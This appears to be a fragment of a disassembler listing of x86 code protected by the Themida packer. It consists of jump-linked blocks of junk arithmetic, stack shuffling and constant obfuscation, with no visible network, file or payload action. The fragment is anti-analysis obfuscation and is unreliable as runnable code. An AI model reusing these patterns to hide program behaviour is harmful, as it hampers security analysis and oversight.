		jmp	loc_568D31
; ---------------------------------------------------------------------------


loc_563F49:				; CODE XREF: sub_55EDA7+E131j
		mov	[esp+12h+var_12], esp
		jmp	loc_5707BC
; ---------------------------------------------------------------------------


loc_563F51:				; CODE XREF: sub_55EDA7+4CBFj
		push	ebp
		mov	ebp, esp
		jmp	loc_56B5ED
; ---------------------------------------------------------------------------


loc_563F59:				; CODE XREF: sub_55EDA7+71F6j
		sub	ecx, edi
		pop	edi
		add	ecx, edx
		pop	edx
		jmp	loc_56BF69
; ---------------------------------------------------------------------------


loc_563F64:				; CODE XREF: sub_55EDA7+5234j
		mov	edi, [esp+30h+var_32+2]
		jmp	loc_5726FE
; ---------------------------------------------------------------------------


loc_563F6C:				; CODE XREF: sub_55EDA7+394Cj
		mov	esi, 0B6FBC6E1h
		add	edx, 2B0D4D0Bh
		sub	edx, esi
		sub	edx, 2B0D4D0Bh
		pop	esi
		and	ebx, edx
		pop	edx
		sub	ebx, 1
		push	esi
		mov	esi, 366F4CFEh
		xor	esi, 0DA2183Bh
		sub	esi, 3D7491Ah
		jmp	loc_560F4A
; ---------------------------------------------------------------------------


loc_563F9D:				; CODE XREF: sub_55EDA7+DA04j
		sub	ecx, 114DE1h
		add	ecx, ebp
		add	ecx, 114DE1h
		pop	ebp
		push	ecx
		push	[esp+3Ch+var_3A+2]
		mov	ecx, [esp+40h+var_42+2]
		add	esp, 4
		pop	[esp+3Ch+var_3E+2]
		mov	esp, [esp+38h+var_3A+2]
		push	[esp+38h+var_3A+2]
		push	[esp+3Ch+var_3E+2]
		push	[esp+40h+var_42+2]
		mov	eax, [esp+44h+var_46+2]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	edi
		push	4
		pop	edi
		add	ebp, edi
		jmp	loc_563F64
; ---------------------------------------------------------------------------


loc_563FE0:				; CODE XREF: sub_55EDA7+D98Bj
		push	[esp+4Ch+var_4E+2]
		jmp	loc_5683C0
; ---------------------------------------------------------------------------


loc_563FE8:				; CODE XREF: sub_55EDA7+14ADj
		mov	edi, 4
		add	ebp, edi
		mov	edi, [esp+20h+var_22+2]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp+24h+var_26+2]
		jmp	loc_565569
; ---------------------------------------------------------------------------


loc_564006:				; CODE XREF: sub_55EDA7+DB3j
		mov	edx, 49E16765h
		dec	edx
		xor	edx, 6FBA1057h
		push	ebx
		mov	ebx, 0D97E647Fh
		sub	edx, ebx
		jmp	loc_564AF0
; ---------------------------------------------------------------------------


loc_56401F:				; CODE XREF: sub_55EDA7+6704j
		add	edx, 4
		push	edx
		push	[esp+6+var_4+2]
		jmp	loc_56A70C
; ---------------------------------------------------------------------------


loc_56402C:				; CODE XREF: sub_55EDA7+12D48j
		xor	edi, esi
		pop	esi
		and	eax, edi
		pop	edi
		or	eax, eax
		jz	loc_56D832
		push	ebp
		jmp	loc_561E09
; ---------------------------------------------------------------------------


loc_564040:				; CODE XREF: sub_55EDA7+918Aj
		mov	[esp+6+var_8+2], edi
		push	ebx
		push	53C5h
		mov	[esp+0Eh+var_E], ecx
		jmp	loc_566611
; ---------------------------------------------------------------------------


loc_564051:				; CODE XREF: sub_55EDA7+E899j
		pop	esi
		jmp	loc_55E973
; ---------------------------------------------------------------------------


loc_564057:				; CODE XREF: sub_55EDA7+55D2j
		add	edi, 795F456Ah
		jmp	loc_563A51
; ---------------------------------------------------------------------------


loc_564062:				; CODE XREF: sub_55EDA7+7E16j
		sub	eax, ebp
		push	dword ptr [esp+0]
		mov	ebp, [esp+0Eh+var_E]
		push	ecx
		mov	ecx, esp
		jmp	loc_56ED37
; ---------------------------------------------------------------------------


loc_564072:				; CODE XREF: sub_55EDA7+B388j
		mov	dh, 3Eh
		xor	bl, dh
		pop	dx
		add	bl, 2Dh
		shl	bl, 6
		add	bl, 0A0h
		mov	cl, bl
		pop	ebx
		sub	bh, cl
		jmp	loc_568196
; ---------------------------------------------------------------------------


loc_56408B:				; CODE XREF: sub_55EDA7+41D4j
		sub	esi, 4
		xchg	esi, [esp-4+arg_0]
		pop	esp
		mov	[esp-8+arg_4], ebp
		jmp	loc_571178
; ---------------------------------------------------------------------------


loc_56409D:				; CODE XREF: sub_55EDA7+2FCEj
		jmp	loc_55E1FB
; ---------------------------------------------------------------------------


loc_5640A2:				; CODE XREF: sub_55EDA7+C778j
		push	eax
		jmp	loc_566573
; ---------------------------------------------------------------------------


loc_5640A8:				; CODE XREF: Themida_:0056EFA4j
		push	ebx
		mov	bl, 2
		mov	ch, bl
		mov	ebx, [esp+20h+var_22+2]
		add	esp, 4
		xor	al, ch
		mov	cx, word ptr [esp+1Ch+var_1E+2]
		jmp	loc_562836
; ---------------------------------------------------------------------------


loc_5640C1:				; CODE XREF: sub_55EDA7+132DDj
		pop	ecx
		jmp	loc_568338
; ---------------------------------------------------------------------------


loc_5640C7:				; CODE XREF: sub_55EDA7+3B8Dj
		sub	edi, 16193DE2h
		shr	edi, 3
		inc	edi
		sub	edi, 148DD08h
		jmp	loc_56E6FF
; ---------------------------------------------------------------------------


loc_5640DC:				; CODE XREF: sub_55EDA7+114A2j
		pop	esp
		sub	esp, 4
		mov	[esp-18h+arg_14], ebx
		mov	ebx, 0BEA1790h
		push	ebp
		jmp	loc_571A03
; ---------------------------------------------------------------------------


loc_5640EE:				; CODE XREF: sub_55EDA7+CA0Cj
		add	esp, 2
		sub	ax, bx
		add	ax, 3474h
		push	small 2EE4h
		mov	word ptr [esp-16h+arg_10+2], si
		push	small 791Ch
		mov	si, word ptr [esp-14h+arg_10]
		add	esp, 2
		sub	ax, 7C23h
		jmp	loc_560825
; ---------------------------------------------------------------------------


loc_564114:				; CODE XREF: sub_55EDA7+10CB1j
		pop	esp
		jmp	loc_567A39
; ---------------------------------------------------------------------------


loc_56411A:				; CODE XREF: sub_55EDA7+1F0Ej
		pop	edi
		pop	[esp-1Ch+arg_18]
		pop	esp
		mov	[esp-24h+arg_20], edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp-24h+arg_20]
		mov	esp, [esp-24h+arg_20]
		jmp	loc_56851C
; ---------------------------------------------------------------------------


loc_56413B:				; CODE XREF: sub_55EDA7+1B05j
		pop	ebp
		sub	esp, 4
		mov	[esp+12h+var_12], ecx
		mov	ecx, 340F40B7h
		sub	eax, 752C6935h
		add	eax, ecx
		add	eax, 752C6935h
		mov	ecx, [esp+12h+var_12]
		add	esp, 4
		jmp	loc_5639FB
; ---------------------------------------------------------------------------


loc_564164:				; CODE XREF: sub_55EDA7+2D9Aj
		sub	ecx, 0DBF174BAh
		and	ebp, ecx
		pop	ecx
		add	ebp, 15BC32C6h
		push	5993h
		mov	[esp-18h+arg_14], edi
		mov	edi, 493052B4h
		xor	ebp, edi
		pop	edi
		inc	ebp
		jmp	loc_564F70
; ---------------------------------------------------------------------------


loc_564189:				; CODE XREF: sub_55EDA7+A8A3j
		push	eax
		push	ebp
		mov	ebp, 62971F40h
		add	ebp, 9D68E0C2h
		mov	eax, ebp
		pop	ebp
		jmp	loc_56E1CC
; ---------------------------------------------------------------------------


loc_56419E:				; CODE XREF: sub_55EDA7+12D1Dj
		sub	ebp, esi
		push	[esp-18h+arg_14]
		pop	esi
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp-14h+arg_10]
		jmp	loc_5724E9
; ---------------------------------------------------------------------------


loc_5641B8:				; CODE XREF: sub_55EDA7+9CF9j
		sub	ecx, 66B26BABh
		add	ebx, ecx
		pop	ecx
		sub	ebx, 4
		xor	ebx, [esp-18h+arg_14]
		xor	[esp-18h+arg_14], ebx
		xor	ebx, [esp-18h+arg_14]
		pop	esp
		mov	[esp-1Ch+arg_18], ebx
		mov	ebx, 7CDB3019h
		xor	ebx, 3AC53944h
		xor	ebx, 6E155BAAh
		mov	eax, 280B5327h
		jmp	loc_569B00
; ---------------------------------------------------------------------------


loc_5641EC:				; CODE XREF: sub_55EDA7+29EEj
		sub	esp, 4
		mov	[esp+38h+var_3A+2], eax
		push	esp
		jmp	loc_570325
; ---------------------------------------------------------------------------


loc_5641F8:				; CODE XREF: sub_55EDA7+B5EAj
		sub	edx, 6A674C8Bh
		push	eax
		mov	eax, 7D385172h
		sub	edx, eax
		pop	eax
		add	eax, edx
		pop	edx
		push	[esp+38h+var_3A+2]
		pop	ebx
		sub	esp, 4
		mov	[esp+3Ch+var_3E+2], ebx
		push	esp
		pop	ebx
		add	ebx, 4
		sub	esp, 4
		jmp	loc_55E64B
; ---------------------------------------------------------------------------


loc_564227:				; CODE XREF: sub_55EDA7+1260Fj
		mov	edx, 78375EE3h
		jmp	loc_560C80
; ---------------------------------------------------------------------------


loc_564231:				; CODE XREF: Themida_:0057189Bj
		inc	esi
		inc	esi
		push	ecx
		mov	ecx, 59CC07F4h
		dec	ecx
		neg	ecx
		add	ecx, 659932AFh
		add	esi, ecx
		pop	ecx
		and	esi, 0FD17A5h
		not	esi
		shl	esi, 6
		xor	esi, 0B80EB86Fh
		jmp	loc_568FFE
; ---------------------------------------------------------------------------


loc_56425B:				; CODE XREF: sub_55EDA7-2F7j
		xchg	edx, esi
		jmp	sub_56C6B9
; ---------------------------------------------------------------------------


loc_564262:				; CODE XREF: sub_55EDA7+C456j
		xchg	ebx, [esp-30h+arg_2C]
		pop	esp
		push	ecx
		sub	esp, 4
		mov	[esp-2Ch+arg_28], edx
		mov	edx, 24h
		sub	esp, 4
		mov	[esp-28h+arg_24], edx
		jmp	loc_567C44
; ---------------------------------------------------------------------------


loc_564280:				; CODE XREF: sub_55EDA7+F13j
		mov	ebx, 4
		sub	ebp, 6B8C3ECFh
		jmp	loc_56F2A8
; ---------------------------------------------------------------------------


loc_564290:				; CODE XREF: sub_55EDA7+798Dj
		add	eax, edi
		pop	edi
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp+14h+var_16+2]
		pop	esp
		mov	[esp+10h+var_12+2], ecx
		jmp	loc_57125B
; ---------------------------------------------------------------------------


loc_5642AE:				; CODE XREF: sub_55EDA7+F292j
		push	210Eh
		mov	[esp+14h+var_16+2], edi
		jmp	loc_564EB2
; ---------------------------------------------------------------------------


loc_5642BB:				; CODE XREF: sub_55EDA7+5FD6j
		mov	edx, 8449E3FCh
		sub	ecx, edx
		mov	edx, [esp+14h+var_16+2]
		add	esp, 4
		sub	[edi+24h], ecx
		push	[esp+10h+var_12+2]
		pop	ecx
		push	ebx
		push	esp
		pop	ebx
		push	eax
		mov	eax, 4
		jmp	loc_57288E
; ---------------------------------------------------------------------------


loc_5642DD:				; CODE XREF: sub_55EDA7+1D39j
		pop	ebx
		sub	ebp, 0C32EC27Bh
		xor	edx, ebp
		mov	ebp, [esp-0Ch+arg_8]
		add	esp, 4
		add	edi, edx
		pop	edx
		push	658Eh
		mov	[esp-10h+arg_C], ebx
		mov	ebx, 77C8B027h
		add	edi, ebx
		pop	ebx
		push	eax
		jmp	loc_567FC8
; ---------------------------------------------------------------------------


loc_564305:				; CODE XREF: sub_55EDA7+12D28j
		mov	eax, edi
		pop	edi
		xor	ebx, eax
		mov	eax, [esp-14h+arg_10]
		add	esp, 4
		jmp	loc_563363
; ---------------------------------------------------------------------------


loc_564315:				; CODE XREF: sub_55EDA7+AB70j
		mov	eax, [esp-18h+arg_14]
		jmp	loc_567DF1
; ---------------------------------------------------------------------------


loc_56431D:				; CODE XREF: sub_55EDA7+91B4j
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp-18h+arg_14]
		pop	esp
		add	ebx, 6B0F6622h
		sub	ebx, eax
		sub	ebx, 6B0F6622h
		push	edx
		jmp	loc_572698
; ---------------------------------------------------------------------------


loc_564340:				; CODE XREF: sub_55EDA7+3429j
		pop	[esp-28h+arg_24]
		mov	esp, [esp-2Ch+arg_28]
		push	edx
		sub	esp, 4
		mov	[esp-24h+arg_20], ecx
		jmp	loc_565F80
; ---------------------------------------------------------------------------


loc_564355:				; CODE XREF: sub_55EDA7+826Fj
		xor	ecx, 479004Dh
		xor	ecx, 3DD01C4Ch
		jmp	loc_571133
; ---------------------------------------------------------------------------


loc_564366:				; CODE XREF: sub_55EDA7+FF8Bj
		add	edi, 4
		jmp	loc_56F58D
; ---------------------------------------------------------------------------


loc_564371:				; CODE XREF: sub_55EDA7+6DEEj
		sub	edi, 795F456Ah
		sub	edi, esi
		jmp	loc_564057
; ---------------------------------------------------------------------------


loc_56437E:				; CODE XREF: sub_55EDA7+12212j
		push	edx
		push	29A6196Ch
		pop	edx
		jmp	loc_55F48C
; ---------------------------------------------------------------------------


loc_56438A:				; CODE XREF: sub_55EDA7+12634j
		pop	ecx
		sub	esp, 4
		mov	[esp-20h+arg_1C], esi
		jmp	loc_569B33
; ---------------------------------------------------------------------------


loc_564396:				; CODE XREF: sub_55EDA7+2613j
		push	ecx
		push	esp
		pop	ecx
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp-10h+arg_C]
		pop	esp
		add	edx, 4
		jmp	loc_56BCA3
; ---------------------------------------------------------------------------


loc_5643B4:				; CODE XREF: sub_55EDA7+BCC9j
		mov	ebp, [esp-14h+arg_10]
		add	esp, 4
		pop	[esp-18h+arg_14]
		pop	esp
		mov	word ptr [esp-20h+arg_1C], cx
		movzx	cx, al
		jmp	loc_56F2C7
; ---------------------------------------------------------------------------


loc_5643CE:				; CODE XREF: sub_55EDA7+FBFEj
		mov	ecx, esi
		jmp	loc_570973
; ---------------------------------------------------------------------------


loc_5643D5:				; CODE XREF: sub_55EDA7+13FB9j
		xchg	ebx, [esp-20h+arg_1C]
		pop	esp
		mov	[esp-24h+arg_20], ecx
		push	esp
		jmp	loc_56C2FF
; ---------------------------------------------------------------------------


loc_5643E2:				; CODE XREF: sub_55EDA7+EC41j
		shr	ebp, 2
		sub	ebp, 672D0EFAh
		or	ebp, 5C021960h
		push	esi
		jmp	loc_56372C
; ---------------------------------------------------------------------------


loc_5643F7:				; CODE XREF: sub_55EDA7+5D3Aj
		mov	esi, 2C2443EEh
		jmp	loc_569CF0
; ---------------------------------------------------------------------------


loc_564401:				; CODE XREF: sub_55EDA7+79D4j
		mov	[esp-1Ch+arg_18], ebx
		push	ecx
		push	59825F51h
		pop	ecx
		xchg	edx, ecx
		not	edx
		jmp	loc_56E71A
; ---------------------------------------------------------------------------


loc_564414:				; CODE XREF: sub_56F579+7j
		mov	[esp-18h+arg_14], esp
		add	[esp-18h+arg_14], 4
		pop	ebx
		add	ebx, 4
		sub	esp, 4
		mov	[esp-18h+arg_14], edi
		mov	edi, 2
		add	ebx, edi
		jmp	loc_56B272
; ---------------------------------------------------------------------------


loc_564437:				; CODE XREF: sub_55EDA7+EF50j
		push	eax
		pushf
		jmp	loc_570139
; ---------------------------------------------------------------------------


loc_56443E:				; CODE XREF: sub_55EDA7+2511j
		add	edx, 75DC74A7h
		sub	edx, edi
		push	esi
		mov	esi, 13FD793Eh
		dec	esi
		dec	esi
		jmp	loc_5701A5
; ---------------------------------------------------------------------------


loc_564453:				; CODE XREF: sub_55EDA7+814Fj
		push	ecx
		push	4
		pop	ecx
		jmp	loc_57148D
; ---------------------------------------------------------------------------


loc_56445F:				; CODE XREF: sub_55EDA7+10F72j
		mov	edi, 2B0174E6h
		jmp	loc_561524
; ---------------------------------------------------------------------------


loc_564469:				; CODE XREF: sub_55EDA7+EABj
		push	esi
		dec	[esp+10h+var_12+2]
		mov	esi, [esp+10h+var_12+2]
		add	esp, 4
		add	esi, 0FFFFFFFFh
		push	ecx
		push	ebp
		mov	ebp, 602FCFFDh
		mov	ecx, ebp
		pop	ebp
		push	ebp
		mov	ebp, 277623ADh
		sub	ebp, 9D33B4Eh
		add	ebp, 1D1D1BF2h
		add	esi, 1D4D2550h
		sub	esi, ebp
		jmp	loc_56112D
; ---------------------------------------------------------------------------


loc_5644A2:				; CODE XREF: sub_55E332+6j
		mov	[esp+14h+var_16+2], esi
		jmp	loc_565C3D
; ---------------------------------------------------------------------------


loc_5644AA:				; CODE XREF: sub_55EDA7+AB1Ej
		pop	eax
		pop	ebx
		add	ebx, 4
		push	edi
		jmp	loc_564CC6
; ---------------------------------------------------------------------------


loc_5644B8:				; CODE XREF: sub_56EF4F+13j
		mov	[esp+10h+var_12+2], edi
		sub	esp, 4
		jmp	loc_5703BA
; ---------------------------------------------------------------------------


loc_5644C6:				; CODE XREF: sub_55EDA7+7CA0j
		push	edi
		pop	ebx
		pop	edi
		jmp	loc_56240A
; ---------------------------------------------------------------------------


loc_5644CE:				; CODE XREF: sub_55EDA7+942Bj
		pop	ebx
		jmp	loc_572113
; ---------------------------------------------------------------------------


loc_5644D4:				; CODE XREF: sub_55EDA7+7BF0j
		push	ebx
		push	2E54158Eh
		pop	ebx
		jmp	loc_56F0FE
; ---------------------------------------------------------------------------


loc_5644E0:				; CODE XREF: sub_55EDA7+37DDj
		push	ecx
		push	16F7h
		mov	[esp+3Ah+var_3A], ebp
		push	eax
		mov	eax, 0F9D4600h
		mov	ebp, 0F9D4604h
		jmp	loc_569A43
; ---------------------------------------------------------------------------


loc_5644F9:				; CODE XREF: sub_55EDA7+37B5j
		mov	esi, 4
		add	ecx, esi
		pop	esi
		jmp	loc_56355B
; ---------------------------------------------------------------------------


loc_564506:				; CODE XREF: sub_55EDA7+CCFCj
		add	esi, 4
		add	esi, 4
		jmp	loc_55E3CD
; ---------------------------------------------------------------------------


loc_564517:				; CODE XREF: sub_55EDA7+DBCAj
		and	edi, esi
		pop	esi
		inc	edi
		xor	edi, 283109h
		mov	ecx, edi
		jmp	loc_568EC9
; ---------------------------------------------------------------------------


loc_564528:				; CODE XREF: sub_55EDA7+BB21j
		push	eax
		jmp	loc_564EA9
; ---------------------------------------------------------------------------


loc_56452E:				; CODE XREF: sub_55EDA7+E8CCj
		dec	edx
		sub	edx, 4E581A69h
		and	edx, 7EED55EDh
		and	edx, 1E40070Ah
		sub	edx, 0FFFFFFFFh
		xor	edx, 1400010Dh
		jmp	loc_55EEE9
; ---------------------------------------------------------------------------


loc_56454F:				; CODE XREF: sub_55EDA7+18DEj
		mov	ebp, 7BD87C7Dh
		and	ecx, ebp
		mov	ebp, [esp-14h+arg_10]
		add	esp, 4
		jmp	loc_56E0E2
; ---------------------------------------------------------------------------


loc_564561:				; CODE XREF: sub_55EDA7+1382Dj
		push	eax
		jmp	loc_56D805
; ---------------------------------------------------------------------------


loc_564567:				; CODE XREF: sub_55EDA7+7E6Bj
		add	[esp-14h+arg_14], edi
		pop	edi
		pop	[esp-18h+arg_14]
		push	edx
		mov	edx, 4
		add	[esp-18h+arg_18], edx
		pop	edx
		jmp	loc_56154B
; ---------------------------------------------------------------------------


loc_56457F:				; CODE XREF: sub_55EDA7-950j
		add	esp, 4
		jmp	loc_567869
; ---------------------------------------------------------------------------


loc_56458A:				; DATA XREF: Themida_:0055DFD0o
		pop	small word ptr [edx]
		jmp	loc_56059C
; ---------------------------------------------------------------------------


loc_564592:				; CODE XREF: sub_55EDA7+FA4Aj
		add	edx, 694AC373h
		and	edi, edx
		jmp	loc_567559
; ---------------------------------------------------------------------------


loc_56459F:				; CODE XREF: sub_55EDA7+B1F5j
		sub	ebx, 7FB408Bh
		push	0FB8h
		mov	[esp+4+var_4], edx
		push	edi
		mov	edi, 0E0149D4h
		jmp	loc_56888B
; ---------------------------------------------------------------------------


loc_5645B8:				; CODE XREF: sub_55EDA7+EFE5j
		push	eax
		jmp	loc_56EC21
; ---------------------------------------------------------------------------


loc_5645BE:				; CODE XREF: sub_55EDA7+997j
		sub	al, 68h
		mov	bx, word ptr [esp-14h+arg_10]
		add	esp, 2
		push	ebx
		mov	bl, 56h
		push	cx
		mov	cl, 0FEh
		xor	bl, cl
		jmp	loc_5703FD
; ---------------------------------------------------------------------------


loc_5645D8:				; CODE XREF: sub_55EDA7+12508j
		sub	eax, 0FFFFFFFFh
		xor	eax, 56934EA7h
		sub	eax, offset byte_5019F3
		mov	edx, eax
		pop	eax
		jmp	loc_571F92
; ---------------------------------------------------------------------------


loc_5645ED:				; CODE XREF: sub_55EDA7+DA61j
		mov	eax, 43D1018Ah
		push	esi
		mov	esi, 5458601Bh
		not	esi
		dec	esi
		add	esi, 27812846h
		jmp	loc_566C5E
; ---------------------------------------------------------------------------


loc_564606:				; CODE XREF: sub_55EDA7+3D6Fj
		add	ecx, 4
		jmp	loc_5606D2
; ---------------------------------------------------------------------------


loc_564611:				; DATA XREF: Themida_:0055DF84o
		pop	dword ptr [edx]
		jmp	loc_55E1FB
; ---------------------------------------------------------------------------


loc_564618:				; CODE XREF: sub_55EDA7+11370j
		mov	ebx, [esp-14h+arg_10]
		push	ebx
		jmp	loc_568A79
; ---------------------------------------------------------------------------


loc_564621:				; CODE XREF: sub_55EDA7+5A46j
		add	edi, 4
		xchg	edi, [esp-10h+arg_C]
		pop	esp
		add	ecx, 4
		jmp	loc_569F47
; ---------------------------------------------------------------------------


loc_564633:				; CODE XREF: sub_55EDA7+7FFCj
		push	[esp-14h+arg_10]
		pop	edi
		add	esp, 4
		pop	eax
		add	eax, 4
		jmp	loc_5648D4
; ---------------------------------------------------------------------------


loc_564645:				; CODE XREF: sub_55EDA7+E01Dj
		mov	ah, cl
		mov	ecx, [esp-1Ch+arg_18]
		jmp	loc_56F1CC
; ---------------------------------------------------------------------------


loc_56464F:				; CODE XREF: sub_55EDA7+A464j
		pop	eax
		pop	[esp-20h+arg_1C]
		pop	esp
		jmp	loc_561652
; ---------------------------------------------------------------------------


loc_564659:				; DATA XREF: Themida_:0055E02Co
		push	[esp-28h+arg_24]
		pop	ecx
		push	7AA6h
		mov	[esp-24h+arg_20], ebx
		mov	ebx, esp
		push	5F45h
		mov	[esp-20h+arg_1C], edx
		push	4
		pop	edx
		add	ebx, 3FAA4242h
		jmp	loc_56C805
; ---------------------------------------------------------------------------


loc_564680:				; CODE XREF: sub_55EDA7+C295j
		mov	ebp, 7B240968h
		xor	eax, ebp
		mov	ebp, [esp-20h+arg_1C]
		add	esp, 4
		sub	edi, eax
		mov	eax, [esp-24h+arg_20]
		jmp	loc_5602F6
; ---------------------------------------------------------------------------


loc_56469A:				; CODE XREF: sub_572D40+9j
		xchg	edx, [esp-24h+arg_20]
		pop	esp
		push	ebx
		push	[esp-24h+arg_24]
		push	[esp-20h+arg_1C]
		pop	ebx
		add	esp, 4
		pop	[esp-24h+arg_20]
		jmp	loc_56FE4C
; ---------------------------------------------------------------------------


loc_5646B2:				; CODE XREF: sub_55EDA7+443Aj
		mov	eax, [esp-10h+arg_C]
		push	edx
		jmp	loc_56C28E
; ---------------------------------------------------------------------------


loc_5646BB:				; CODE XREF: sub_55EDA7+10DAFj
		push	[esp-0Ch+arg_C]
		pop	edx
		pop	[esp-0Ch+arg_8]
		jmp	loc_5695CF
; ---------------------------------------------------------------------------


loc_5646C8:				; CODE XREF: sub_55EDA7+13C3Aj
		not	ebp
		add	ebp, 1F446B04h
		add	ecx, ebp
		jmp	loc_56220D
; ---------------------------------------------------------------------------


loc_5646D7:				; CODE XREF: sub_55EDA7+25C2j
		not	esi
		jmp	loc_5634E0
; ---------------------------------------------------------------------------


loc_5646DE:				; CODE XREF: sub_55EDA7+E96Fj
		shr	ebx, 6
		push	6B53h
		mov	[esp-8+arg_4], eax
		push	ebx
		mov	ebx, 6191142Ah
		push	eax
		mov	eax, 609F4CEEh
		jmp	loc_56E0D1
; ---------------------------------------------------------------------------


loc_5646FA:				; CODE XREF: sub_55EDA7+7AC2j
		push	eax
		push	dx
		jmp	loc_5625B0
; ---------------------------------------------------------------------------


loc_564702:				; CODE XREF: sub_55EDA7+41F3j
		pop	edi
		jmp	loc_565895
; ---------------------------------------------------------------------------


loc_564708:				; CODE XREF: sub_55EDA7+13731j
		mov	ebp, eax
		pop	eax
		push	478Ah
		mov	[esp+0], ebp
		mov	ebp, 419877D8h
		neg	ebp
		jmp	loc_56CE6B
; ---------------------------------------------------------------------------


loc_56471F:				; CODE XREF: sub_55EDA7+2AAEj
		push	ecx
		jmp	loc_56F498
; ---------------------------------------------------------------------------


loc_564725:				; CODE XREF: sub_55EDA7+89BBj
		sub	ecx, 31A3733Eh
		push	edx
		mov	edx, 232F2416h
		xor	ecx, edx
		mov	edx, [esp+20h+var_22+2]
		add	esp, 4
		sub	ecx, 0F25DB9F6h
		push	ebp
		jmp	loc_5702DC
; ---------------------------------------------------------------------------


loc_564748:				; CODE XREF: sub_55EDA7+D0FFj
		add	ebp, 4
		push	edi
		jmp	loc_567D54
; ---------------------------------------------------------------------------


loc_564754:				; CODE XREF: sub_55EDA7+3B24j
		push	4AB3h
		mov	[esp+44h+var_46+2], esi
		mov	esi, 62D910C1h
		xor	esi, ebx
		xor	ebx, esi
		xor	esi, ebx
		xchg	edi, ebx
		not	edi
		xchg	edi, ebx
		xor	esi, ebx
		xor	ebx, esi
		xor	esi, ebx
		xor	esi, 9090ECAh
		add	esi, 2F76511Dh
		push	eax
		jmp	loc_56B7B8
; ---------------------------------------------------------------------------


loc_564785:				; CODE XREF: sub_55EDA7+F42Dj
		add	eax, 5175182Ch
		jmp	loc_5638F3
; ---------------------------------------------------------------------------


loc_56478F:				; CODE XREF: sub_55EDA7+13011j
		pop	ebx
		add	esp, 4
		push	6CE1h
		mov	[esp+44h+var_46+2], eax
		jmp	loc_5651DE
; ---------------------------------------------------------------------------


loc_5647A0:				; CODE XREF: sub_55EDA7+10B6Dj
		mov	edi, [esp+44h+var_46+2]
		add	esp, 4
		neg	edi
		push	ebp
		push	1D65753h
		jmp	loc_5673B6
; ---------------------------------------------------------------------------


loc_5647B3:				; CODE XREF: sub_55EDA7+AA47j
		not	eax
		jmp	loc_56190E
; ---------------------------------------------------------------------------


loc_5647BA:				; CODE XREF: sub_55EDA7+12B99j
		mov	esp, [esp+48h+var_4A+2]
		mov	[esp+48h+var_4A+2], esi
		push	esp
		mov	esi, [esp+4Ch+var_4E+2]
		add	esp, 4
		jmp	loc_56B761
; ---------------------------------------------------------------------------


loc_5647CC:				; CODE XREF: sub_55EDA7+12230j
		mov	edx, [esp+48h+var_4A+2]
		add	esp, 4
		add	bl, ch
		jmp	loc_56C30B
; ---------------------------------------------------------------------------


loc_5647D9:				; DATA XREF: Themida_:0055DF90o
		push	[esp+44h+var_46+2]
		push	[esp+48h+var_4A+2]
		jmp	loc_56DF57
; ---------------------------------------------------------------------------


loc_5647E4:				; CODE XREF: sub_55EDA7+DF92j
		push	edi
		mov	edi, esp
		add	edi, 4
		jmp	loc_564621
; ---------------------------------------------------------------------------
		push	ebp
		push	esp
		push	[esp+58h+var_58]
		jmp	loc_56A3F9
; ---------------------------------------------------------------------------


loc_5647FC:				; CODE XREF: sub_55EDA7+104A9j
		push	esp
		pop	esi
		jmp	loc_563574
; ---------------------------------------------------------------------------


loc_564803:				; CODE XREF: sub_55EDA7+DB97j
		push	27D7h
		mov	[esp+60h+var_60], ebp
		mov	ebp, 548579F7h
		push	edx
		mov	edx, 3B58702Ch
		not	edx
		and	edx, 6EAF40ABh
		jmp	loc_571B34
; ---------------------------------------------------------------------------


loc_564823:				; CODE XREF: sub_55EDA7+E493j
		add	esp, 4
		sub	esp, 4
		mov	[esp+64h+var_64], edi
		push	[esp+64h+var_60]
		mov	edi, [esp+68h+var_68]
		add	esp, 4
		pop	[esp+64h+var_64]
		pop	esp
		jmp	loc_563CF0
; ---------------------------------------------------------------------------


loc_564842:				; CODE XREF: sub_55EDA7+DD11j
		push	esi
		mov	esi, 4B525B7Fh
		sub	esi, 56530F51h
		not	esi
		jmp	loc_56512F
; ---------------------------------------------------------------------------


loc_564855:				; CODE XREF: sub_55EDA7+40Cj
		sub	bl, 0C6h
		add	bl, 1Ah
		push	5CEFh
		mov	[esp+18h+var_1A+2], ecx
		mov	ch, 0B4h
		sub	bl, 90h
		add	bl, ch
		push	edx
		mov	dh, 90h
		add	bl, dh
		pop	edx
		mov	ecx, [esp+18h+var_1A+2]
		add	esp, 4
		sub	esp, 4
		mov	[esp+18h+var_1A+2], ebx
		mov	ebx, 28h
		add	ebx, 1548187Ch
		push	esi
		push	11D6223Bh
		mov	esi, [esp+20h+var_22+2]
		jmp	sub_56CBDA
; ---------------------------------------------------------------------------


loc_564898:				; CODE XREF: sub_55EDA7+5B28j
		mov	[esp+20h+var_22+2], eax
		jmp	loc_570936
; ---------------------------------------------------------------------------


loc_5648A0:				; CODE XREF: sub_55EDA7+4E98j
		mov	eax, esp
		push	edi
		mov	edi, 6BDC2CF1h
		or	edi, 54E9118Dh
		jmp	loc_568D42
; ---------------------------------------------------------------------------


loc_5648B3:				; CODE XREF: sub_55EDA7+EC0j
		add	edi, ebx
		pop	ebx
		push	ebp
		mov	ebp, 6B543933h
		sub	edi, ebp
		mov	ebp, [esp+0Ch+var_E+2]
		add	esp, 4
		add	edi, 1
		push	634Bh
		jmp	loc_564898
; ---------------------------------------------------------------------------


loc_5648D4:				; CODE XREF: sub_55EDA7+5899j
		push	edx
		mov	edx, 4
		add	eax, edx
		jmp	loc_5701E1
; ---------------------------------------------------------------------------


loc_5648E1:				; CODE XREF: sub_55EDA7+37FDj
		pop	ecx
		push	7EBCh
		mov	[esp+14h+var_16+2], ebx
		push	esp
		jmp	loc_56CD8F
; ---------------------------------------------------------------------------


loc_5648F0:				; CODE XREF: sub_55EDA7+19AEj
		xor	[esp-2Ch+arg_28], ecx
		xor	ecx, [esp-2Ch+arg_28]
		pop	esp
		jmp	loc_5721B3
; ---------------------------------------------------------------------------


loc_5648FC:				; CODE XREF: sub_55EDA7+10C6j
		push	ebp
		mov	ebp, 2ECD0E73h
		push	edi
		mov	edi, esp
		push	edx
		mov	edx, 4
		add	edi, edx
